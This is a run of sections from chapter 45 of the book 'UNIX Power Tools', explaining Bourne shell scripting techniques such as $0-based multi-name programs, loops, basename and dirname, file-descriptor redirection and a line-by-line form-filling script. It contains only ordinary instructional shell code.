Previous: 45.11 The Multipurpose jot Command | UNIX Power Tools | Next: 45.13 Save Disk Space and Programming: Multiple Names for a Program
45.11 The Multipurpose jot Command | Book Index | 45.13 Save Disk Space and Programming: Multiple Names for a Program
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.13 Save Disk Space and Programming: Multiple Names for a Program

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.12 Parameter Substitution Chapter 45
Shell Programming for the Initiated 		Next: 45.14 Finding the Last Command-Line Argument

45.13 Save Disk Space and Programming: Multiple Names for a Program

If you're writing:

  • several programs that do the same kinds of things,

  • programs that use a lot of the same code (as you're writing the second, third, etc., programs, you copy a lot of lines from the first program), or

  • a program with several options that make a big change in the way it works,

you might want to write just one program and make links (18.4, 18.3) to it instead. The program can find the name you called it with and, through case or test commands, work in different ways. For instance, the Berkeley UNIX commands ex, vi, view, edit, and others are all links to the same executable file. This takes less disk space and makes maintenance easier. It's usually only sensible when most of the code is the same in each program. If the program is full of name tests and lots of separate code, this technique may be more trouble than it's worth.

Depending on how the script program is called, this name can be a simple relative pathname like prog or ./prog-it can also be an absolute pathname like /usr/joe/bin/prog (article 14.2 explains pathnames). There are a couple of ways to handle this in a shell script. If there's just one main piece of code in the script, as in the lf script (16.7), a case that tests $0 might be best. The asterisk (*) wildcard at the start of each case (see article 44.6) handles the different pathnames that might be used to call the script:

case "$0" in
*name1)
    ...do this when called as name1...
    ;;
*name2)
    ...do this when called as name2...
    ;;
    ...
*)  ...print error and exit if $0 doesn't match...
    ;;
esac

You might also want to use basename (45.18) to strip off any leading pathname and store the cleaned-up $0 in a variable called myname. You can test $myname anywhere in the script and also use it for error messages:

myname=`basename $0`
   ...
case "$myname" in
   ...

echo "$myname: aborting; error in xxxxxx" 1>&2
   ...

- JP

Previous: 45.12 Parameter Substitution | UNIX Power Tools | Next: 45.14 Finding the Last Command-Line Argument
45.12 Parameter Substitution | Book Index | 45.14 Finding the Last Command-Line Argument
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.14 Finding the Last Command-Line Argument

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.13 Save Disk Space and Programming: Multiple Names for a Program Chapter 45
Shell Programming for the Initiated 		Next: 45.15 How to Unset all Command-Line Parameters

45.14 Finding the Last Command-Line Argument

Do you need to pick up the last parameter $1, $2 ... from the parameter list [the "command line"-JP ]? It looks like eval \$$# would do it:

eval
$ set foo bar baz
$ eval echo \$$#
baz

except for a small problem with sh argument syntax:

$ set m n o p q r s t u v w x
$ echo $11
m1

$11 means ${1}1, and not ${11}. Trying ${11} directly gives bad substitution.

The only reliable way to get at the last parameter is to use something like

for i do last="$i"; done

[That for loop assigns each parameter to the shell variable named last; after the loop ends, $last will have the last parameter. Also, note that you won't need this trick on all sh-like shells. The Korn shell and bash understand ${11}. -JP ]

- CT in comp.unix.questions on Usenet, 15 January 1990

Previous: 45.13 Save Disk Space and Programming: Multiple Names for a Program | UNIX Power Tools | Next: 45.15 How to Unset all Command-Line Parameters
45.13 Save Disk Space and Programming: Multiple Names for a Program | Book Index | 45.15 How to Unset all Command-Line Parameters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.15 How to Unset all Command-Line Parameters

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.14 Finding the Last Command-Line Argument Chapter 45
Shell Programming for the Initiated 		Next: 45.16 Standard Input to a for Loop

45.15 How to Unset all Command-Line Parameters

The shift (44.17) command "shifts away" one command-line parameter. You can shift three times if there are three command-line parameters. Many shells also can take an argument, like shift 3, that tells how many times to shift; on those shells, you can shift  $# (44.15)to unset all parameters.

The portable way to unset all command-line parameters is probably to set (44.19) a single dummy parameter, then shift it away:

set x
shift

Setting the single parameter wipes out whatever other parameters were set before.

- JP

Previous: 45.14 Finding the Last Command-Line Argument | UNIX Power Tools | Next: 45.16 Standard Input to a for Loop
45.14 Finding the Last Command-Line Argument | Book Index | 45.16 Standard Input to a for Loop
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.16 Standard Input to a for Loop

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.15 How to Unset all Command-Line Parameters Chapter 45
Shell Programming for the Initiated 		Next: 45.17 Making a for Loop with Multiple Variables

45.16 Standard Input to a for Loop

An obvious place to use a Bourne shell for loop (44.16) is to step through a list of arguments - from the command line or a variable. But combine the loop with backquotes (9.16) and cat (25.2), and the loop will step through the words on standard input.

Here's an example:

for x in `cat`
do
    ...handle $x
done

Because this method splits the input into separate words, no matter how many words are on each input line, it can be more convenient than a while loop running the read command, as in article 9.20. When you use this script interactively though, the loop won't start running until you've typed all of the input; using while read will run the loop after each line of input.

- JP

Previous: 45.15 How to Unset all Command-Line Parameters | UNIX Power Tools | Next: 45.17 Making a for Loop with Multiple Variables
45.15 How to Unset all Command-Line Parameters | Book Index | 45.17 Making a for Loop with Multiple Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.17 Making a for Loop with Multiple Variables

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.16 Standard Input to a for Loop Chapter 45
Shell Programming for the Initiated 		Next: 45.18 Using basename and dirname

45.17 Making a for Loop with Multiple Variables

The normal Bourne shell for loop (44.16) lets you take a list of items, store the items one by one in a shell variable, and loop through a set of commands once for each item:

for file in prog1 prog2 prog3
do
   ...process $file
done

I wanted a for loop that stores several different shell variables and makes one pass through the loop for each set of variables (instead of one pass for each item, as a regular for loop does). This loop does the job:

set

for bunch in "ellie file16" "donna file23" "steve file34"
do
   # PUT FIRST WORD (USER) IN $1, SECOND (FILE) IN $2...
   set $bunch
   mail $1 < $2
done

If you have any command-line arguments and still need them, store them in another variable before you do that. Or, you can make the loop this way:

for bunch in "u=ellie f=file16 s='your files'" \
    "u=donna f=file23 s='a memo'" "u=steve f=file34 s=report"
do
   # SET $u (USER), $f (FILENAME), $s (SUBJECT):
   eval $bunch
   mail -s "$s" $u < $f
done

This script uses the shell's eval (8.10) command to re-scan the contents of the bunch variable and store it in separate variables. Notice the single quotes like s='your files'; this groups the words for eval. The shell removes those single quotes before it stores the value into the s variable.

- JP

Previous: 45.16 Standard Input to a for Loop | UNIX Power Tools | Next: 45.18 Using basename and dirname
45.16 Standard Input to a for Loop | Book Index | 45.18 Using basename and dirname
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.18 Using basename and dirname

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.17 Making a for Loop with Multiple Variables Chapter 45
Shell Programming for the Initiated 		Next: 45.19 A while Loop with Several Loop Control Commands

45.18 Using basename and dirname

basename
dirname
Almost every UNIX command can use relative and absolute pathnames (14.2) to find a file or directory. There are times you'll need part of a pathname - the head (everything before the last slash) or the tail (the name after the last slash). The utilities basename and dirname, available on most UNIX systems (and on the CD-ROM) handle that.

45.18.1 Introduction to basename and dirname

The basename command strips any "path" name components from a filename, leaving you with a "pure" filename. For example:

% basename /usr/bin/gigiplot
gigiplot
% basename /home/mikel/bin/bvurns.sh
bvurns.sh

basename can also strip a suffix from a filename. For example:

% basename /home/mikel/bin/bvurns.sh .sh
bvurns

The dirname command strips the filename itself, giving you the "directory" part of the pathname:

% dirname /usr/bin/screenblank
/usr/bin
% dirname local
.

If you give dirname a "pure" filename (i.e., a filename with no path, as in the second example), it tells you that the directory is . (the current directory).

NOTE: dirname and basename have a bug in many System V implementations. They don't recognize the second argument as a filename suffix to strip. Here's a good test:

% basename 0.foo .foo

If the answer is 0, your basename implementation is good. If the answer is 0.foo, the implementation is bad. If basename doesn't work, dirname won't, either.

45.18.2 Use with Loops

Here's an example of basename and dirname. There's a directory tree with some very large files - over 100,000 characters. You want to find those files, run split (35.9) on them, and add huge. to the start of the original filename. By default, split names the file chunks xaa, xab, xac, and so on; you want to use the original filename and a dot (.) instead of x:

|| exit

for path in `find /home/you -type f -size +100000c -print`
do

    cd `dirname $path` || exit
    filename=`basename $path`
    split $filename $filename.
    mv -i $filename huge.$filename
done

The find command will output pathnames like these:

/home/you/somefile
/home/you/subdir/anotherfile

(The absolute pathnames are important here. The cd would fail on the second pass of the loop if you use relative pathnames.) In the loop, the cd command uses dirname to go to the directory where the file is. The filename variable, with the output of basename, is used several places - twice on the split command line.

If that gives the error command line too long, replace the first lines with the two lines below. This makes a redirected-input loop (45.22):

find /home/you -type f -size +100000c -print |
while read path

- JP, ML

Previous: 45.17 Making a for Loop with Multiple Variables | UNIX Power Tools | Next: 45.19 A while Loop with Several Loop Control Commands
45.17 Making a for Loop with Multiple Variables | Book Index | 45.19 A while Loop with Several Loop Control Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.19 A while Loop with Several Loop Control Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.18 Using basename and dirname Chapter 45
Shell Programming for the Initiated 		Next: 45.20 Overview: Open Files and File Descriptors

45.19 A while Loop with Several Loop Control Commands

Most people think the Bourne shell's while loop (44.10) looks like this, with a single command controlling the loop:

while command
do
     ...whatever
done

But command can actually be a list of commands. The exit status of the last command controls the loop. This is handy for prompting users and reading answers - when the user types an empty answer, the read command returns "false" and the loop ends:

while echo "Enter command or CTRL-d to quit: \c"
      read command
do
      ...process $command
done

Here's a loop that runs who and does a quick search on its output. If the grep returns non-zero status (because it doesn't find $who in $tempfile), the loop quits - otherwise, the loop does lots of processing:

while
    who > $tempfile
    grep "$who" $tempfile >/dev/null

do
    ...process $tempfile...
done

- JP

Previous: 45.18 Using basename and dirname | UNIX Power Tools | Next: 45.20 Overview: Open Files and File Descriptors
45.18 Using basename and dirname | Book Index | 45.20 Overview: Open Files and File Descriptors
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.20 Overview: Open Files and File Descriptors

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.19 A while Loop with Several Loop Control Commands Chapter 45
Shell Programming for the Initiated 		Next: 45.21 n>&m: Swap Standard Output and Standard Error

45.20 Overview: Open Files and File Descriptors

[This introduction is general and simplified. If you're a technical person who needs a complete and exact description, read a book on UNIX programming. -JP]

UNIX shells let you redirect the input and output of programs with operators like > and |. How does that work? How can you use it better? Here's an overview.

When the UNIX kernel starts any process (38.3)- for example, grep, ls, or a shell - it sets up several places for that process to read from and write to. Figure 45.1 shows that.

Figure 45.1: Open Standard I/O Files with No Command-Line Redirection

These places are called open files. The kernel gives each file a number called a file descriptor. But people usually use names for these places instead of the numbers:

  • The standard input or stdin (File Descriptor (F.D.) number 0) is the place where the process can read text. This might be text from other programs or from your keyboard.

  • The standard output or stdout (F.D. 1) is a place for the process to write its "answers."

  • The standard error or stderr (F.D. 2) is where the process can send error messages.

By default, as Figure 45.1 shows, the file that's opened for stdin, stdout, and stderr is /dev/tty-a name for your terminal. This makes life easier for users - and programmers, too. The user doesn't have to tell a program where to read or write because the default is your terminal. A programmer doesn't have to open files to read or write from (in many cases); the programs can just read from stdin, write to stdout, and send errors to stderr.

This gets better. When the shell starts a process (when you type a command at a prompt), you can tell the shell what file to "connect to" any of those file descriptors. For example, Figure 45.2 shows what happens when you run grep and make the shell redirect grep's standard output away from the terminal to a file named grepout.

Figure 45.2: Standard Output Redirected to a File

Programs can read and write files besides the ones on stdin, stdout, and stderr. For instance, in Figure 45.2, grep opened the file somefile itself - it didn't use any of the standard file descriptors for somefile. A UNIX convention is that if you don't name any files on the command line, a program will read from its standard input. Programs that work that way are called filters (1.30).

All shells can do basic redirection with stdin, stdout, and stderr. But, as you'll see in article 45.21, the Bourne shell also handles file descriptors 3 through 9. That's useful sometimes:

  • Maybe you have a few data files that you want to keep reading from or writing to. Instead of giving their names, you can use the file descriptor numbers.

  • Once you open a file, the kernel remembers what place in the file you last read from or wrote to. Each time you use that file descriptor number while the file is open, you'll be at the same place in the file. That's especially nice when you want to read from or write to the same file with more than one program. For example, the line command on some UNIX systems reads one line from a file - you can call line over and over, whenever you want to read the next line from a file. Once the file has been opened, you can remove its link (name) from the directory (45.10); the process can access the file through its descriptor without using the name.

  • When UNIX starts a new subprocess (38.3), the open file descriptors are given to that process. A subprocess can read or write from file descriptors opened by its parent process. A redirected-I/O loop, as in articles 45.22 and 45.23, takes advantage of this.

- JP

Previous: 45.19 A while Loop with Several Loop Control Commands | UNIX Power Tools | Next: 45.21 n>&m: Swap Standard Output and Standard Error
45.19 A while Loop with Several Loop Control Commands | Book Index | 45.21 n>&m: Swap Standard Output and Standard Error
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.21 n>&m: Swap Standard Output and Standard Error

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.20 Overview: Open Files and File Descriptors Chapter 45
Shell Programming for the Initiated 		Next: 45.22 Handling Files Line-by-Line

45.21 n>&m: Swap Standard Output and Standard Error

By default, a command's standard error goes to your terminal. The standard output goes to the terminal or is redirected somewhere (to a file, down a pipe, into backquotes).

Sometimes you want the opposite. For instance, you may need to send a command's standard output to the screen and grab the error messages (standard error) with backquotes. Or, you might want to send a command's standard output to a file and the standard error down a pipe to an error-processing command. Here's how to do that in the Bourne shell. (The C shell can't do this.)

File descriptors 0, 1, and 2 are, respectively, the standard input, standard output, and standard error (article 45.20 explains). Without redirection, they're all associated with the terminal file /dev/tty (45.20). It's easy to redirect any descriptor to any file - if you know the filename. For instance, to redirect file descriptor 2 to errfile, type:

$ command 2>errfile

You know that a pipe and backquotes also redirect the standard output:

$ command | ...
$ var=`command`

But there's no filename associated with the pipe or backquotes, so you can't use the 2> redirection. You need to rearrange the file descriptors without knowing the file (or whatever) that they're associated with. Here's how.

Let's start slowly: by sending both standard output and standard error to the pipe or backquotes. The Bourne shell operator n>&m rearranges the files and file descriptors. It says "make file descriptor n point to the same file as file descriptor m." Let's use that operator on the previous example. We'll send standard error to the same place standard output is going:

$ command 2>&1 | ...
$ var=`command 2>&1`

In both those examples, 2>&1 means "send standard error (file descriptor 2) to the same place standard output (file descriptor 1) is going." Simple, eh?

You can use more than one of those n>&m operators. The shell reads them left-to-right before it executes the command.

"Oh!" you might say, "To swap standard output and standard error - make stderr go down a pipe and stdout go to the screen-I could do this!"

$ command 2>&1 1>&2 | ...     (wrong...)

Sorry, Charlie. When the shell sees 2>&1 1>&2, the shell first does 2>&1. You've seen that before - it makes file descriptor 2 (stderr) go the same place as file descriptor 1 (stdout). Then, the shell does 1>&2. It makes stdout (1) go the same place as stderr (2)... but stderr is already going the same place as stdout, down the pipe.

This is one place the other file descriptors, 3 through 9, come in handy. They normally aren't used. You can use one of them as a "holding place," to remember where another file descriptor "pointed." For example, one way to read the operator 3>&2 is "make 3 point the same place as 2." After you use 3>&2 to grab the location of 2, you can make 2 point somewhere else. Then, make 1 point where 2 used to (where 3 points now).

We'll take that step-by-step below. The command line you want is one of these:

$ command 3>&2 2>&1 1>&3 | ...
$ var=`command 3>&2 2>&1 1>&3`

How does it work? The next four figures break the second command line (with the backquotes) into the same steps the shell follows as it rearranges the file descriptors. You can try these on your terminal, if you'd like. Each figure adds another n>&m operator and shows the location of each file descriptor after that operator.

The figures use a grep command reading two files. afone is readable and grep finds one matching line in it; the line is written to the standard output. bfoen is misspelled and so is not readable; grep writes an error message to the standard error. In each figure, you'll see the terminal output (if any) just after the variable-setting command with the backquotes. The text grabbed by the backquotes goes into the shell variable; the echo command shows that text.

By Figure 45.6 the redirection is correct. Standard output goes to the screen, and standard error is captured by the backquotes.

Figure 45.3: File Descriptors Before Redirection

Figure 45.4: File Descriptors After 3>&2 Redirection

Figure 45.5: File Descriptors After 3>&2 2>&1 Redirection

Figure 45.6: File Descriptors After 3>&2 2>&1 1>&3 Redirection

Open files are automatically closed when a process exits. But it's safer to close the files yourself as soon as you're done with them. That way, if you forget and use the same descriptor later for something else (for instance, use F.D. 3 to redirect some other command, or a subprocess uses F.D. 3), you won't run into conflicts. Use m<&- to close input file descriptor m and m>&- to close output file descriptor m. If you need to close standard input, use <&-; >&- will close standard output.

- JP

Previous: 45.20 Overview: Open Files and File Descriptors | UNIX Power Tools | Next: 45.22 Handling Files Line-by-Line
45.20 Overview: Open Files and File Descriptors | Book Index | 45.22 Handling Files Line-by-Line
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.22 Handling Files Line-by-Line

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.21 n>&m: Swap Standard Output and Standard Error Chapter 45
Shell Programming for the Initiated 		Next: 45.23 The Ins and Outs of Redirected I/O Loops

45.22 Handling Files Line-by-Line

It isn't easy to see how to read a file line-by-line in a shell script. And while you can write a file line-by-line by using the file-appending operator >> (two right angle brackets) with each command that should add to the file, there's a more efficient way to do that as well.

The trick is to open the file and associate a file descriptor number (3, 4, ..., 9) with it. UNIX keeps a file pointer, like a bookmark in a book, that tells it where the next read or write should be in each open file. For example, if you open a file for reading and read the first line, the file pointer will stay at the start of the second line. The next read from that same open file will move the pointer to the start of the third line. This trick only works with files that stay open; each time you open a file, the file pointer is set to the start of the file. [1] The Bourne shell exec command (45.7) can open a file and associate a file descriptor with it. For example, this exec command makes the standard input of all following commands come from the file formfile:

[1] The file-appending operator >> sets the pointer to the end of the file before the first write.

...all commands read their stdin from default place
exec < formfile
   ...all commands will read their stdin from formfile

There's another way to rearrange file descriptors: by doing it at the last line of while loops, if and case statements. For example, all commands in the while loop below will take their standard inputs from the file formfile. The standard input outside the while loop isn't changed:

...all commands read their stdin from default place
while ...
do
   ...all commands will read their stdin from formfile
done < formfile
   ...all commands read their stdin from default place

I call those "redirected-I/O loops." Those and other Bourne shell structures have some problems (45.23), but they're usually worth the work to solve.

We'll use all that to make a shell script for filling in forms. The script, formprog, reads an empty form file like this one, line by line:

Name:
Address:
City:
State/Province:
Phone:
FAX:
Project: Corporate Decision
Comments:

If a line has just a label, like Name:, the script will prompt you to fill it in. If you do, the script will add the completed line to an output file; otherwise, no output line is written. If a form line is already completed, like:

Project: Corporate Decision

the script doesn't prompt you; it just writes the line to the output file:

% formprog formfile completed
Name: Jerry Peek
Address: 123 Craigie St.
City: Cambridge
State/Province: MA
Phone: (617)456-7890
FAX:
Project: Corporate Decision
Comments:
% cat completed
Name: Jerry Peek
Address: 123 Craigie St.
City: Cambridge
State/Province: MA
Phone: (617)456-7890
Project: Corporate Decision

Here's the formprog script. The line numbers are for reference only; don't type them into the file. There's more explanation after the script:

 1  #!/bin/sh
 2  # formprog - fill in template form from $1, leave completed form in $2
 3  # TABSTOPS ARE SET AT 4 IN THIS SCRIPT
 4
 5  template="$1"   completed="$2"   errors=/tmp/formprog$$
 6  myname=`basename $0`    # BASENAME OF THIS SCRIPT (NO LEADING PATH)
 7  trap 'rm -f $errors; exit' 0 1 2 15
 8
 9  # READ $template LINE-BY-LINE, WRITE COMPLETED LINES TO $completed:
10  exec 4<&0   # SAVE ORIGINAL stdin (USUALLY TTY) AS FD 4
11  while read label text
12  do
13      case "$label" in
14      ?*:) # FIRST WORD ENDS WITH A COLON; LINE IS OKAY
15          case "$text" in
16          ?*) # SHOW LINE ON SCREEN AND PUT INTO completed FILE:
17              echo "$label $text"
18              echo "$label $text" 1>&3
19              ;;
20          *)  # FILL IT IN OURSELVES:
21              echo -n "$label "
22              exec 5<&0   # SAVE template FILE FD; DO NOT CLOSE!
23              exec 0<&4   # RESTORE ORIGINAL stdin TO READ ans
24              read ans
25              exec 0<&5   # RECONNECT template FILE TO stdin
26              case "$ans" in
27              "") ;;      # EMPTY; DO NOTHING
28              *)  echo "$label $ans" 1>&3 ;;
29              esac
30              ;;
31          esac
32          ;;
33      *)  echo "$myname: bad $1 line:   '$label $text'" 1>&2; break;;
34      esac
35  done <"$template" 2>$errors 3>"$completed"
36
37  if [ -s $errors ]; then
38      /bin/cat $errors 1>&2
39      echo "$myname: should you remove '$completed' file?" 1>&2
40  fi

Line 10 uses the 4<&0 operator (45.21) to save the location of the original standard input - usually your terminal, but not always - as file descriptor 4. [2] (We'll need to read that original stdin in line 24.)

[2] We can't assume that standard input is coming from a terminal. If we do, it prevents you from running formprog this way:

% command-generator-program | formprog
% formprog < command-file

During lines 11-35 of the redirected-I/O while loop: all commands' standard input comes from the file named in $template, all standard error goes to the $errors file, and anything written to file descriptor 3 is added to the $completed file. UNIX keeps file pointers for all those open files - so each read and write is done just past the end of the previous one.

Here's what happens each time the loop is executed:

  1. The read command (44.13) in line 11 reads the next line from its standard input - that's the open $template file.

  2. The case (44.5) in lines 15-31 checks the text from the $template file:

    • If the text has both a label -ding with a colon (:)) and some other text (stored in $text), the complete line is written two places. Line 17 writes the line to the standard output - which is probably your screen (it's not redirected by the script, anyway). Line 18 writes the line to file descriptor 3, the open $completed file.

    • If the text has just a label, line 21 writes the label to standard output (usually your terminal) without a newline. We want to read the answer, at line 24, but there's a problem: on some Bourne shells, the read command can only read from file descriptor 0 and won't let you use operators like <&4 on its command line.

      So, in line 22, we save a copy of the open $template file descriptor and the location of the open file pointer in file descriptor 5. Line 23 changes standard input so the read in line 24 will read from the right place (usually the terminal). Line 25 adjusts standard input so the next read at the top of the loop (line 11) will come from the $template file.

      If line 24 doesn't read an answer, line 27 does not write a line. Otherwise, line 28 writes the line to file descriptor 3, the open $completed file.

    • If the template label doesn't end with a colon, line 33 writes a message to stderr (file descriptor 2). These messages, together with messages to stderr from any other command in the loop, are redirected into the $errors file. After the loop, if the test (44.20) in line 37 sees any text in the file, the text is displayed in line 38 and the script prints a warning.

The loop keeps reading and writing line by line until the read at the top of the loop reaches the end-of-file of $template.

- JP

Previous: 45.21 n>&m: Swap Standard Output and Standard Error | UNIX Power Tools | Next: 45.23 The Ins and Outs of Redirected I/O Loops
45.21 n>&m: Swap Standard Output and Standard Error | Book Index | 45.23 The Ins and Outs of Redirected I/O Loops
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.23 The Ins and Outs of Redirected I/O Loops

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.22 Handling Files Line-by-Line Chapter 45
Shell Programming for the Initiated 		Next: 45.24 A Shell Can Read a Script from its Standard Input, But...

45.23 The Ins and Outs of Redirected I/O Loops

The Bourne shell usually runs a loop with redirected input or output (45.22) in a subshell (38.4). For the formprog script in article 45.22, this means, among other things, that:

  • Any command inside the loop that reads its standard input will read from the pipe or file redirected to the loop's standard input. That's something you have to pay attention to, because the only command that should read from the file is usually the read command at the top of the loop. The inputs of other commands inside the loop - like commands that read from the terminal - have to be redirected to read from somewhere other than the loop's standard input.

  • In many Bourne shells, if you use the exit (38.4) command inside a redirected loop, that will only terminate the subshell that's running the loop; it will not terminate the script. It's hard to call this a "feature"; I'd call it a bug. The script in article 45.22 has a workaround for this; see the next paragraph. Later versions of Bourne-like shells have fixed this problem, more or less, but the fix below should work in all Bourne shells.

  • If there's any error inside the loop that should terminate the script, an error message is written to file descriptor 2. File descriptor 2 is redirected to an error-holding file at the subshell (loop) output. A break command can end the loop right away. After the loop ends, if the error file has anything in it, that means there was an error - if there are more commands to run, the script can terminate before running them.

  • You can test the exit status (44.7) of the redirected-I/O loop. To end the loop, use a command like exit 0, exit 2, and so on. Just after the done command outside the loop, use case $? (44.5) to test the loop's status. For instance, a 0 status might mean the loop worked fine, a 1 could signal one kind of error, a 2 status a different error, and so on.

  • If you change the value of any shell or environment variables inside the loop, their values outside the loop (after the done command at the end of the loop) will not be changed. Here's the usual fix for that problem. You use another file descriptor, like file descriptor 6, and write variable-setting commands to it. You redirect that file descriptor to a temporary file. Then, use the shell's dot command (.) (44.23) to read the temporary file into the shell outside the loop. For example, to get the value of a variable named varname outside the loop:

    while whatever
do  ...
   echo "varname='value'" 1>&6
    ...
done 6> var_set_file
. var_set_file

Greg Ubben sent me two other ways that he prefers. The first one depends on having a read that accepts redirection on its command line, which most do these days. The second works when you can put the usage in the same scope (within the curly braces (13.8)) as the redirection:

exec 3< file   {
while read line <&3       while read line
do       do
     var=value            var=value
done       done
exec 3<&-       echo "var = $var"
echo "var = $var"   } < file

Putting the loop inside a function and redirecting into the function also seems to avoid the subshell problem. But don't take my (our) word for it: test it on the shell you'll be using.

- JP

Previous: 45.22 Handling Files Line-by-Line | UNIX Power Tools | Next: 45.24 A Shell Can Read a Script from its Standard Input, But...
45.22 Handling Files Line-by-Line | Book Index | 45.24 A Shell Can Read a Script from its Standard Input, But...
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.24 A Shell Can Read a Script from its Standard Input, But...

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.23 The Ins and Outs of Redirected I/O Loops Chapter 45
Shell Programming for the Initiated 		Next: 45.25 Shell Scripts On-the-Fly from Standard Input

45.24 A Shell Can Read a Script from its Standard Input, But...

Q: What is the difference between sh < file and sh file?

A: The first way keeps the script from reading anything else from its input. Consider the zip script:

A:

while read word
do   echo $word | sed s/foo/bar/
done

If run as sh zip, it will read from your terminal, replacing foo with bar. If run as sh < zip, it will exit right away, since after reading the script, there's no input left.

- CT in net.unix on Usenet, 29 December 1984

Previous: 45.23 The Ins and Outs of Redirected I/O Loops | UNIX Power Tools | Next: 45.25 Shell Scripts On-the-Fly from Standard Input
45.23 The Ins and Outs of Redirected I/O Loops | Book Index | 45.25 Shell Scripts On-the-Fly from Standard Input
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.25 Shell Scripts On-the-Fly from Standard Input

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.24 A Shell Can Read a Script from its Standard Input, But... Chapter 45
Shell Programming for the Initiated 		Next: 45.26 Quoted hereis Document Terminators: sh vs. csh

45.25 Shell Scripts On-the-Fly from Standard Input

Warning! The shell can read commands from its standard input or from a file. To run a series of commands that can change, you may want to use one program to create the command lines automatically - and pipe that program's output to a shell, which will run those "automatic" commands.

Here's an example. [3] You want to copy files from a subdirectory and all its subdirectories into a single directory. The filenames in the destination directory can't conflict; no two files can have the same name. An easy way to name the copies is to replace each slash (/) in the file's relative pathname with a minus sign (-). [4] For instance, the file named lib/glob/aprog.c would be copied to a file named lib-glob-aprog.c. You can use sed (34.1) to convert the filenames and output cp commands like these:

[3] This isn't recommended for systems with a 14-character filename limit.

[4] A replacement like CTRL-a would make unique filenames (but ones that are harder to type).

cp from/lib/glob/aprog.c to/lib-glob-aprog.c
cp from/lib/glob/aprog.h to/lib-glob-aprog.h
    ...

However, an even better solution can be developed using nawk (33.12). The following example uses find (17.1) to make a list of pathnames, one per line, in and below the copyfrom directory. Next it runs nawk to create the destination file pathnames (like to/lib-glob-aprog.c) and write the completed command lines to the standard output. The shell reads the command lines from its standard input, through the pipe.

This example is in a script file because it's a little long to type at a prompt. But you can type commands like these at a prompt, too, if you want to:

#!/bin/sh
find copyfrom -type f -print |
nawk '{ out = $0
gsub("/", "-", out)
sub("^copyfrom-", "copyto/", out)
print "cp", $0, out }' |
sh

If you change the last line to sh -v, the shell's verbose option (46.1) will show each command line before executing it. If the last line has sh -e, the shell will quit immediately after any command returns a non-zero exit status (44.7)- that might happen, for instance, if the disk fills up and cp can't make the copy.

- JP

Previous: 45.24 A Shell Can Read a Script from its Standard Input, But... | UNIX Power Tools | Next: 45.26 Quoted hereis Document Terminators: sh vs. csh
45.24 A Shell Can Read a Script from its Standard Input, But... | Book Index | 45.26 Quoted hereis Document Terminators: sh vs. csh
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 45] 45.26 Quoted hereis Document Terminators: sh vs. csh

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 45.25 Shell Scripts On-the-Fly from Standard Input Chapter 45
Shell Programming for the Initiated 		Next: 45.27 Turn Off echo for "Secret" Answers

45.26 Quoted hereis Document Terminators: sh vs. csh

At the times you need to quote your hereis document (8.18) terminators there's an annoying problem: sh and csh demand different conventions. If you are using sh, you must not quote the terminator. For example,

#! /bin/sh
cat << 'eof'
Hi there.
eof

If you are using csh, however, you must quote the terminator. The script:

#! /bin/csh
cat << \eof
Hi.  You might expect this to be the only line, but it's not.
eof
'e'of
\eof

prints three lines, not one.

- CT in net.unix-wizards on Usenet, 20 July 1984

